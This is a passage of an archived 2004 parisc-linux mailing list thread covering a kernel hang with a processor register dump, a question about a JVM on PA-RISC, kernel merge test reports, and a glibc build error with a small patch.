Cc: parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: grundler@lackof.org  Sun Feb  8 21:34:44 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F63C484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Feb 2004 21:34:44 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 08437298054; Sun,  8 Feb 2004 21:34:43 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 25916-02; Sun, 8 Feb 2004 21:34:41 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CD5E029802B; Sun,  8 Feb 2004 21:34:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040209035621.GD21692@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 04:34:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20812

On Sun, Feb 08, 2004 at 08:56:21PM -0700, Grant Grundler wrote:
> Matthew,
> a500 (ion) hangs with /boot/vmlinux-2.6.3-rc1-pa2.
> Having problems with bus reset code path.
> I'll collect TOC info and make that available.

Here is the TOC dump. I've decoded the obvious registers.

BTW, this does not appear to be a "new" problem.
The default kernel won't boot either and hangs at about the same place:
Linux version 2.6.0-test9-4-parisc64 (jejb@raven) (gcc version 3.0.4) #2 Wed Nov 5 22:30:59 CST 2003

I say "about" becuase it hangs on the *second* time it tries to reset
the bus/host when probing SCSI ID3 on the same bus.

thanks,
grant


TOC:
	GR02: 0x10118d30 cpu_idle+48
	IOAQ: 0x10118d28 cpu_idle+40

*sigh* - not very helpful.

Main Menu: Enter command or menu > ser pim


PROCESSOR PIM INFORMATION

Original Product Number:   A6889A
Current Product Number:    A6889A


-----------------  Processor 0 HPMC Information - PDC Version: 42.19  ------ 

Timestamp =    Sun Aug  31 22:06:07 GMT 2003    (20:03:08:31:22:06:07)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011006312  0xcb81000000000000
       0x0000087000ff6292  0x000000f0f0000000
       0x6000082070006062  0x0000000000000010
       0x7000082070006082  0x0000000000392400
       0x7000082379006133  0xc1bff0fffed08040
       0x0000080080006310  0x0000000000000001
       0x000008008000631f  0x0000000000000000
       

General Registers 0 - 31
00-03  0000000000000000  00000000000000d4  000000001013fc8c  2d2d2d2d2d2d2d2d
04-07  202020202d2d2d2d  616821203e0a2020  5350415243212047  6d20617465206120
08-11  000000202d2d448d  0000000000000100  5f5f5f5f5f200a20  5f5f5f5f5f5f5f5f
12-15  5f5f5f5f5f5f5f5f  00000000000000fa  00000000000000f0  00000000000000ff
16-19  00000000104faa80  00000000f000022c  00000000f0002a7c  0000000000000000
20-23  000000001038ae61  000000000000000a  00000000103f8458  00000000104fb078
24-27  0000000020202000  aedef02b906416a0  00000000104fb140  202020202d2d2d2d
28-31  0000000000000109  00000000104fb130  00000000104fb140  000000001046e400


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000013e92  0000000000000000  00000000000000c0  000000000000001c
12-15  0000000000000000  0000000000000000  0000000000109000  8000000000000000
16-19  0000000b8210fabc  0000000000000000  000000001013fc94  0000000050230ec0
20-23  0000000020202020  000000002d2d448d  0000000008000000  8000000000000000
24-27  00000000003ef000  00000000004fa3c0  0000000000041020  5555555555555555
28-31  000000f0f0165670  5555555555555555  00000000104fa300  0000000010427000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          104fa490
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000001013fc98
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffed00000
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  0413080024850e06  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  5555555555555555  5555555555555555  5555555555555555
08-11  5555555555555555  5555555555555555  5555555555555555  5555555555555555
12-15  5555555555555555  5555555555555555  5555555555555555  5555555555555555
16-19  5555555555555555  5555555555555555  5555555555555555  5555555555555555
20-23  5555555555555555  5555555555555555  0000000000000000  0000000000000000
24-27  5555555555555555  5555555555555555  5555555555555555  5555555555555555
28-31  5555555555555555  5555555555555555  5555555555555555  0000000000000002


Check Summary                = 0xcb81000000000000
Available Memory             = 0x0000000040000000
CPU Diagnose Register 2      = 0x0203000200802004
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8080000000000000
SADD LOG                     = 0x500a00a0502b00b0
Read Short LOG               = 0xc18040fff8000005



-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  00000000104b6a98  0000000010118d30  0000000000000008
04-07  00000000104576a0  00000000003ba000  00000000000000f0  0000000000000000
08-11  0000000000000000  0000000000000001  000000000804000e  000000001046c5c4
12-15  00000000000000f2  00000000000000fa  00000000000000f0  00000000000000ff
16-19  00000000f0000390  00000000f000022c  00000000f0002a7c  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000073  000000004f9ec980
24-27  00000000104b73c8  0000000010424000  00000000103b89b8  00000000104576a0
28-31  000000004f9ec948  000000004f6f43f0  0000000010424280  000000000000a000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  00000000000000c0  000000000000000c
12-15  0000000000000000  0000000000000000  000000000010b000  ff80000000000000
16-19  000002afe7374118  0000000000000000  0000000010118d24  0000000086a0201a
20-23  0000000000000000  0000000000000000  000000ff0804ff0f  8000000000000000
24-27  00000000003b9000  00000000003b9000  0000000000041020  5555555555555555
28-31  000000f0f0165670  5555555555555555  0000000010424000  0000000010428000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000010118d28
CPU State                    = 0x9e000001


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Sun Aug  31 22:06:07 GMT 2003    (20:03:08:31:22:06:07)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
          X     ERR_ERROR       X            X           

Bus Requestor Address      = 0xfffffffffffa0000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0xfffffffffed00000

Error Status Reg           = 0x0000000000000010
Runway Control Reg         = 0x0000021c00002818
Runway Address Reg         = 0xc1bff0fffed08040
Runway Data High Reg       = 0xf8018a1ff820ca01
Runway Data Low Reg        = 0xf8018a1ff820ca01
Memory Address Reg         = 0x000001ff3fffffff
Memory Address Corr Reg    = 0x000001ff3fffffff
Memory Syndrome Reg        = 0x0000000000000000
Memory Syndrome Corr Reg   = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (mem_addr_par_stat) Not Set 



------------  I/O Module Error Log Information  ------------


   No I/O module errors logged


Main Menu: Enter command or menu > 


From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Mon, 9 Feb 2004 08:26:18 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <40218AE200002594@ocpmta2.freegates.net>
References: <20040207064001.GU959@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623185 5512 80.91.229.3 (22 Nov 2014 02:26:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: soete.joel@tiscali.be  Mon Feb  9 01:06:31 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CAC8E4891
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 01:06:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Aq6Qz-0005dQ-00; Mon, 09 Feb 2004 09:06:25 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 9 Feb 2004 08:26:18 +0100
In-Reply-To: <20040207064001.GU959@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 08:06:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20813

Hi Randolph,

>So, can you try this patch?

Yes, yes, yessss it works fine ;)

Thanks agian for great help,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bass, Mick" <mick.bass@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] JVM for Linux on pa-risc?
Date: Mon, 9 Feb 2004 07:50:35 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <40700B4C02ABD5119F00009027876644077CD571@hplex1.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416623185 5513 80.91.229.3 (22 Nov 2014 02:26:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: mick.bass@hp.com  Mon Feb  9 08:50:42 2004
Return-Path: <mick.bass@hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54894484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 08:50:42 -0700 (MST)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	by palrel13.hp.com (Postfix) with ESMTP id C578B1C0114D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 07:50:41 -0800 (PST)
Original-Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182])
	by hplms2.hpl.hp.com (8.12.10/8.12.10/HPL-PA Hub) with SMTP id
	i19Fodpm027537 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Feb 2004 07:50:40 -0800 (PST)
Original-Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall
	NT); Mon, 09 Feb 2004 07:50:38 -0800
Original-Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19)
	id <1PNDT0BC>; Mon, 9 Feb 2004 07:50:38 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 15:50:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20814

Does there exist a java virtual machine for linux on pa-risc, and if so where might one find it?

Many thanks,

- Mick Bass

=============================================
Mick Bass


Manager
Research and Business Development
Digital Media Systems Department
HP Laboratories
Hewlett-Packard Company
825 14th Street SW
Loveland, CO 80537


970.898.6788 office    240.536.0765 fax
617.899.3938 mobile    303.494.5202 residence
bass@alum.mit.edu      mick_bass@hp.com
=============================================
 


From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge status with 2.6
Date: Mon, 9 Feb 2004 17:40:51 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <400CB8A1000107A9@ocpmta3.freegates.net>
References: <20040208225943.GJ24334@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623186 5515 80.91.229.3 (22 Nov 2014 02:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Mon Feb  9 09:40:55 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C79A9484B
	for <parisc-linux@parisc-linux.org>;
	Mon,  9 Feb 2004 09:40:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AqESq-0002VW-00; Mon, 09 Feb 2004 17:40:52 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 9 Feb 2004 17:40:51 +0100
In-Reply-To: <20040208225943.GJ24334@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 16:40:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20815


Hi all,

Tested with success with defconfig and 32bit kernel on b2k.
And same success with also defconfig and 64bit kernel on same b2k and N4k
(UP).

Thanks to all for this great job,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Mon, 9 Feb 2004 18:11:32 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <400CB8A10001082F@ocpmta3.freegates.net>
References: <20040208014659.GC23095@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623186 5518 80.91.229.3 (22 Nov 2014 02:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: soete.joel@tiscali.be  Mon Feb  9 10:11:38 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D3E6484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 10:11:38 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AqEwY-0004hz-00; Mon, 09 Feb 2004 18:11:34 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 9 Feb 2004 18:11:32 +0100
In-Reply-To: <20040208014659.GC23095@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 17:11:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20816

Hi Carlos and Dave,

I am trying my toolchain script against gcc-snapshot and glibc(2.3.3) with
respective Carlos' patches but I met some pb.

The first was against gconv_simple.c for which I find easily the follwing
patch (see <http://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/iconv/gconv_simple.c.diff?r1=1.59&r2=1.60&cvsroot=glibc>)
========><========
--- iconv/gconv_simple.c.orig	2004-02-09 15:11:52.000000000 +0100
+++ iconv/gconv_simple.c	2004-02-09 16:07:16.000000000 +0100
@@ -453,9 +453,11 @@
 #if __BYTE_ORDER == __BIG_ENDIAN
   /* Sigh, we have to do some real work.  */
   size_t cnt;
+  uint32_t *outptr32 = (uint32_t *) outptr;
 
   for (cnt = 0; cnt < n_convert; ++cnt, inptr += 4)
-    *((uint32_t *) outptr)++ = bswap_32 (*(const uint32_t *) inptr);
+    *outptr32++ = bswap_32 (*(const uint32_t *) inptr);
+  outptr = (unsigned char *) outptr32;
 
   *inptrp = inptr;
   *outptrp = outptr;
========><========

Is it correct?

The next on is more hard to me and find in _buff() from sunrpc/clnt_perr.c:
[snip]
#ifdef _RPC_THREAD_SAFE_
/*
 * Making buf a preprocessor macro requires renaming the local
 * buf variable in a few functions.  Overriding a global variable
 * with a local variable of the same name is a bad idea, anyway.
 */
#define buf ((char *)RPC_THREAD_VARIABLE(clnt_perr_buf_s))
#else
static char *buf;
#endif

static char *
_buf (void)
{
  if (buf == NULL)
    buf = (char *) malloc (256);
  return buf;
}
[snip]

which precompile as follow:
[snip]
static char *auth_errmsg (enum auth_stat stat) ;
# 63 "clnt_perr.c"
static char *
_buf (void)
{
  if (((char *)(__rpc_thread_variables()->clnt_perr_buf_s)) == ((void *)0))
    ((char *)(__rpc_thread_variables()->clnt_perr_buf_s)) = (char *) malloc
(256);
  return ((char *)(__rpc_thread_variables()->clnt_perr_buf_s));
}
[snip]

and failed with error:
clnt_perr.c: In function `_buf':
clnt_perr.c:67: error: invalid lvalue in assignment
make[2]: *** [/Develop/parisc-linux/build/glibc/sunrpc/clnt_perr.o] Error
1

Any idea?

Thanks in advance,
    Joel

PS: I just attempt this test because I read a lot of akpm patch related to
gcc-35  ;)

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] JVM for Linux on pa-risc?
Date: Mon, 9 Feb 2004 10:23:40 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20040209172340.GB760@colo.lackof.org>
References: <40700B4C02ABD5119F00009027876644077CD571@hplex1.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623186 5519 80.91.229.3 (22 Nov 2014 02:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bass, Mick" <mick.bass@hp.com>
Original-X-From: grundler@lackof.org  Mon Feb  9 10:23:46 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE690484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 10:23:45 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6168A298100; Mon,  9 Feb 2004 10:23:41 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01397-06; Mon, 9 Feb 2004 10:23:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CC1C32980FA; Mon,  9 Feb 2004 10:23:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <40700B4C02ABD5119F00009027876644077CD571@hplex1.hpl.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 17:23:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20817

On Mon, Feb 09, 2004 at 07:50:35AM -0800, Bass, Mick wrote:
> Does there exist a java virtual machine for linux on pa-risc, and if so where might one find it?


http://www.google.com/search?hl=en&lr=&ie=ISO-8859-1&q=JVM+%5Bparisc-linux+site%3Alists.parisc-linux.org&btnG=Google+Search

http://lists.parisc-linux.org/pipermail/parisc-linux/2004-January/022056.html

using the debian-hppa search page:
	http://lists.debian.org/search.html
	( Enter "JVM" and limit search to "hppa" list)

http://lists.debian.org/debian-hppa/2004/debian-hppa-200402/msg00000.html

hth,
grant



From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Morrison <ja2morri@csclub.uwaterloo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: 09 Feb 2004 13:40:23 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <kfh3c9k14h4.fsf@perpugilliam.csclub.uwaterloo.ca>
References: <400CB8A10001082F@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623186 5523 80.91.229.3 (22 Nov 2014 02:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:26 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: ja2morri@csclub.uwaterloo.ca  Mon Feb  9 11:54:44 2004
Return-Path: <ja2morri@csclub.uwaterloo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F6D7484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 11:54:44 -0700 (MST)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id 32B4910D909; Mon,  9 Feb 2004 13:40:25 -0500 (EST)
Original-Sender: ja2morri@perpugilliam.csclub.uwaterloo.ca
In-Reply-To: <400CB8A10001082F@ocpmta3.freegates.net>
Original-Lines: 45
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 18:54:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20818


"Joel Soete" <soete.joel@tiscali.be> writes:

> Hi Carlos and Dave,
> 
> I am trying my toolchain script against gcc-snapshot and glibc(2.3.3) with
> respective Carlos' patches but I met some pb.
> 
> The first was against gconv_simple.c for which I find easily the follwing
> patch (see <http://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/iconv/gconv_simple.c.diff?r1=1.59&r2=1.60&cvsroot=glibc>)
> ========><========
